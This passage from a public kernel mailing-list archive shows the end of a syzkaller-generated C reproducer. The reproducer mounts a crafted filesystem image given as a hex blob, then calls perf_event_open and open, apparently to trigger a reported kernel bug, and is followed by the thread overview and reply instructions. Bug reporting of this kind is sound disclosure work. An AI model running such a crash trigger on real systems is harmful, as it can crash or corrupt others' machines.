"\x78\xfb\x4f\xdf\x3f\x3e\xfd\x9b\xdb\xef\xff\x5f\x59\xff\x2e\xbd\xff\x3f"
"\xcd\xe6\x9a\x71\x6d\xbf\x3f\xc7\x1d\xd2\xeb\x04\xd2\xfb\x00\xd6\xbc\x5f"
"\xff\xd9\xd5\x79\x66\xca\xf6\x3b\xbf\x7a\xbf\x66\xb6\xdf\x48\x8c\x89\xac"
"\xee\xc9\xb6\xe3\xb4\x2f\xba\x97\xee\x37\x5b\x96\xaf\xb9\xfa\x38\xe3\x25"
"\xf9\xa6\xb2\x7c\xd3\xed\xf9\xd6\x59\xa7\x60\x34\xdb\x3f\xe5\xdb\x97\x6d"
"\xcf\xd7\x27\x4c\xfb\xcd\x64\xdb\xf3\x75\x18\x47\xb3\x1c\x45\x96\xff\xc1"
"\x6c\xff\x1f\x07\x00\x00\x00\x58\x71\xf4\x95\x97\xce\x1f\xbd\xf0\xea\x6b"
"\x5f\x3b\xf7\xd2\x73\x2f\x9c\x79\xe1\xcc\xcb\xc7\x8f\xcd\x7f\x7d\xfe\xf1"
"\xf9\xf9\x13\xf3\x47\x97\x5f\xd7\x7f\xb4\xfd\xd5\xfd\x00\x00\x00\xc0\x4e"
"\xb4\xf2\xa2\xdf\x7e\x57\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xc3\xab\x8e\x8f\x13\xeb\xf7\x39\x02\x00\x00\xc0\xb0\xfb"
"\xcf\xa5\x10\xc2\x65\xb1\x4b\x63\xe5\x23\x03\xfb\x5f\x8b\x10\x42\x08\x21"
"\x84\x58\x8e\xf1\x9e\x5f\x9f\x15\x7d\x3f\x27\xb1\x43\x62\xd2\xdc\x60\x2b"
"\xf1\xb7\x1d\x3f\xb7\x5a\x5c\xcc\x3f\x69\x1e\x00\x00\x00\x60\x7b\xdd\xbc"
"\xfe\xfa\xe9\xf6\x76\x8d\xcb\x45\x4f\xf3\xb5\x8e\xd6\xbc\xdd\xdc\x8a\x79"
"\x53\xfb\xbb\x87\x7f\xfa\xf0\x52\xa4\xdd\xae\x3d\xb1\xfa\xf9\x92\xbd\x3d"
"\xad\x86\x61\x57\xf7\xcf\xff\xc6\xf9\x47\xfb\x9c\x7f\x1d\x43\x9e\xff\xfd"
"\x37\x7a\x9b\x7f\x32\xdd\xe8\xfa\xf7\x5f\x63\xf5\x01\x4e\x56\xcb\xfb\xe5"
"\x1f\xfd\xeb\x91\xf6\xfc\xf7\x8d\x76\x99\x3f\x3f\xff\x67\xaa\xe5\x3f\x9c"
"\xe5\x3f\x1c\xba\xcb\xbf\xf8\x5e\x96\xff\xd9\x6a\xf9\x1f\xc9\xf2\xef\xed"
"\x32\xff\x9a\xf3\x3f\x5f\x2d\xff\xa3\x31\xff\xfe\x54\xcf\x43\xdd\xe6\x5f"
"\xfd\xf8\x4f\xc4\x36\x9d\xc7\x9e\x2e\xf3\x1f\xc9\xce\xff\xf9\xd0\x6d\xfe"
"\xec\xfc\x9b\x5d\x26\xcc\x7c\x25\xe6\x07\x80\x61\xd4\xe8\x77\x01\xdb\x24"
"\x5d\x25\xa4\xeb\xe8\xa9\xd8\x4f\xe7\x9b\x66\x36\xf9\xab\x1f\x36\x7b\xfd"
"\xdf\xc8\x8e\xb3\xce\x8c\xa9\x92\x74\xdc\x74\x1d\x74\x4f\xec\xa7\xeb\xa5"
"\xe9\x2c\x6f\xb2\xd9\xfa\xa7\xb2\xe3\xdd\x51\xb1\xce\xdc\x4e\x79\x55\x49"
"\x59\xfd\xbd\x7a\x1c\xb7\x5b\x59\xfd\x63\x35\xd7\x51\x55\x59\xfd\xe3\x35"
"\xd7\x51\x55\x59\xfd\x13\x35\xd7\x51\x55\x59\xfd\x93\x35\xd7\x51\x55\x59"
"\xfd\xdd\xce\x43\xfb\xad\xac\xfe\x9d\xf2\xbc\x72\x59\xfd\x53\x35\xd7\x51"
"\x55\x59\xfd\xd3\x35\xd7\x51\x55\x59\xfd\x9b\xfd\x7f\xbc\x5f\xca\xea\xdf"
"\x57\x73\x1d\x55\x95\xd5\x3f\xb3\xc1\x7d\x06\xe9\xff\xb6\xb2\xfa\x2b\x3e"
"\xad\x56\xbb\xb2\xfa\x67\x6b\xae\xa3\xaa\xb2\xfa\xef\xac\xb9\x8e\xaa\xca"
"\xea\xbf\xab\xe6\x3a\xaa\x2a\xab\xff\xee\x9a\xeb\xe8\x97\xfb\x63\x5b\x36"
"\x1f\x4e\xf3\xcf\x99\x38\x96\xfa\xcd\xac\x3f\xb1\xce\xf7\xb2\xad\xbf\x18"
"\x6d\xdb\x79\x00\x00\x00\x00\xe5\xfe\x6d\xfd\x3f\x31\x70\x31\x31\x00\x35"
"\x08\xb1\x89\x68\x0c\x40\x0d\x42\x0c\x79\x2c\x35\xfd\xae\x61\x58\xe3\xbb"
"\x7f\xe9\x7f\x0d\x35\x47\x71\xfb\x46\x4f\x8e\x35\x35\x00\xe7\x23\xb6\x35"
"\x8a\x01\xa8\xa1\x62\x2c\x2e\xf6\xbf\x86\x4a\x31\x3e\x00\x35\x0c\x6e\xf8"
"\x93\xfc\x70\xdb\xde\x77\x33\x03\x30\xa8\xfc\xfe\x1f\x6e\x1e\xff\xe1\xe6"
"\xf1\x1f\x6e\x1e\x7f\x36\x92\x5e\xc3\x5f\x64\xfd\x64\xa4\xc3\xf8\x68\x87"
"\xf1\xb1\x0e\xe3\xe3\xd9\x78\xfe\xf3\x3a\xd1\x61\xfc\xae\xec\xb8\xf9\x1b"
"\x11\xee\xee\x30\xfe\xb9\x0e\xe3\xfb\x3a\x8c\xdf\xd3\x61\x7c\x7f\x87\xf1"
"\x7b\x3b\x8c\xdf\xd7\x61\xfc\xfe\x0e\xe3\x00\x00\x00\x0c\x87\xcf\xc7\xd6"
"\xfc\x10\x00\x00\x00\x76\xaf\x8b\x3f\xff\xf0\x87\xbf\x3c\xfc\xec\xf5\xd9"
"\x1b\x57\x0f\x9c\x0c\xe3\x6b\xd6\x9d\x3f\x16\xfb\x13\xf1\x6f\xeb\x57\x62"
"\x3f\x5f\xf7\x3e\x19\x8b\x7f\xf3\xff\x41\xec\xff\x2c\xb6\xbf\x8d\xed\xdf"
"\xb3\xfd\xbd\xfe\x04\x00\x00\x00\xb6\x5f\xfa\x9c\x18\x7f\xff\x07\x00\x00"
"\x80\xdd\x2b\x7d\x4e\xa9\xf9\x3f\x00\x00\x00\xec\x5e\xb3\xb1\x35\xff\x07"
"\x00\x00\x80\xdd\xeb\xce\xd8\x9a\xff\x03\x00\x00\xc0\x2e\x56\x4c\xae\xbf"
"\x39\xb6\xe9\x79\x81\x07\x63\xdb\xed\xba\x7e\x00\xc0\xe0\xfb\x42\x6c\x1f"
"\x88\xed\x81\xd8\x1e\x8c\xed\x17\x63\x9b\xae\x03\x1e\x8a\xed\x97\x6a\xaa"
"\x0f\x00\xe8\x9d\x9f\x7c\xeb\xcd\xc7\xdf\x2a\x56\xd6\xfb\x3f\x9e\x8d\xdf"
"\x8c\xdb\x53\xbb\xc6\xe5\xdb\xcf\x14\x14\x8d\xd5\x2b\xf9\xef\x89\xed\xde"
"\xd8\x3e\xdc\x65\x3d\xf9\xe7\x01\x74\x9b\x3f\xd9\xd7\x65\x9e\xed\xca\x3f"
"\xb3\xc5\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\xc0\xee\xd1\x58\xfe\x7a\xe2\xc4\xfe\x22\x84"
"\x77\x3e\x7a\xfb\xd4\xcc\xc5\x53\x2f\x2c\x6d\x3b\xd8\xda\xe3\xd0\xf2\xd7"
"\x22\xf6\x9a\x21\x84\xb1\xd6\xfd\xd2\xe8\x4a\xff\x17\x71\xc7\x9b\xd7\x5f"
"\x3f\xbd\xd4\xde\x8a\xed\x62\x6c\x8b\x30\x1f\x8a\x50\xb4\xc6\xc3\xd3\xd7"
"\x5a\x99\xa6\x42\x08\x97\xc3\xa1\xf0\x71\x68\x86\x83\x47\x9a\x9f\x5d\x19"
"\x79\xea\xec\x07\xef\x7e\x72\xf8\xe2\xf9\x27\x5f\xdc\xc6\x6f\x01\x00\x00"
"\x00\xec\x7a\xff\x0f\x00\x00\xff\xff\xcf\x9f\x35\x89",
3919);
syz_mount_image(
/*fs=*/0x20000ec0, /*dir=*/0x200000c0,
/*flags=MS_LAZYTIME|MS_SYNCHRONOUS|MS_SILENT|MS_NODEV|MS_MANDLOCK*/
0x2008054, /*opts=*/0x20000040, /*chdir=*/1, /*size=*/0xf4f,
/*img=*/0x20001580);
*(uint32_t*)0x200003c0 = 2;
*(uint32_t*)0x200003c4 = 0x80;
*(uint8_t*)0x200003c8 = 0xe0;
*(uint8_t*)0x200003c9 = 9;
*(uint8_t*)0x200003ca = 0;
*(uint8_t*)0x200003cb = 0;
*(uint32_t*)0x200003cc = 0;
*(uint64_t*)0x200003d0 = 0;
*(uint64_t*)0x200003d8 = 0x80000;
*(uint64_t*)0x200003e0 = 0;
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 0, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 1, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 2, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 3, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 4, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 5, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 6, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 7, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 8, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 9, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 10, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 11, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 12, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 13, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 14, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 15, 2);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 17, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 18, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 19, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 20, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 21, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 22, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 23, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 24, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 25, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 26, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 27, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 28, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 29, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 30, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 31, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 32, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 33, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 34, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 35, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 36, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 37, 1);
STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 38, 26);
*(uint32_t*)0x200003f0 = 0;
*(uint32_t*)0x200003f4 = 0;
*(uint64_t*)0x200003f8 = 6;
*(uint64_t*)0x20000400 = 3;
*(uint64_t*)0x20000408 = 0;
*(uint64_t*)0x20000410 = 0;
*(uint32_t*)0x20000418 = 0x80000000;
*(uint32_t*)0x2000041c = 0;
*(uint64_t*)0x20000420 = 0;
*(uint32_t*)0x20000428 = 0x5e;
*(uint16_t*)0x2000042c = 9;
*(uint16_t*)0x2000042e = 0;
*(uint32_t*)0x20000430 = 0;
*(uint32_t*)0x20000434 = 0;
*(uint64_t*)0x20000438 = 0x1000;
syscall(__NR_perf_event_open, /*attr=*/0x200003c0ul, /*pid=*/0, /*cpu=*/-1,
/*group=*/-1,
/*flags=PERF_FLAG_FD_CLOEXEC|PERF_FLAG_FD_OUTPUT*/ 0xaul);
memcpy((void*)0x20007f80, "./bus\000", 6);
syscall(__NR_open, /*file=*/0x20007f80ul,
/*flags=O_SYNC|O_NOCTTY|O_NOATIME|O_DIRECT|O_CREAT|0x2*/ 0x145142ul,
/*mode=*/0ul);
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
const char* reason;
(void)reason;
loop();
return 0;
}
next reply other threads:[~2024-09-04 2:05 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2024-09-04 2:05 Ubisectech Sirius [this message]
2024-09-04 3:30 ` Ryusuke Konishi
2024-09-04 6:42 ` 回复:general " Ubisectech Sirius
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=86bd3013-887e-4e38-960f-ca45c657f032.bugreport@valiantsec.com \
--to=bugreport@valiantsec.com \
--cc=konishi.ryusuke@gmail.com \
--cc=linux-kernel@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®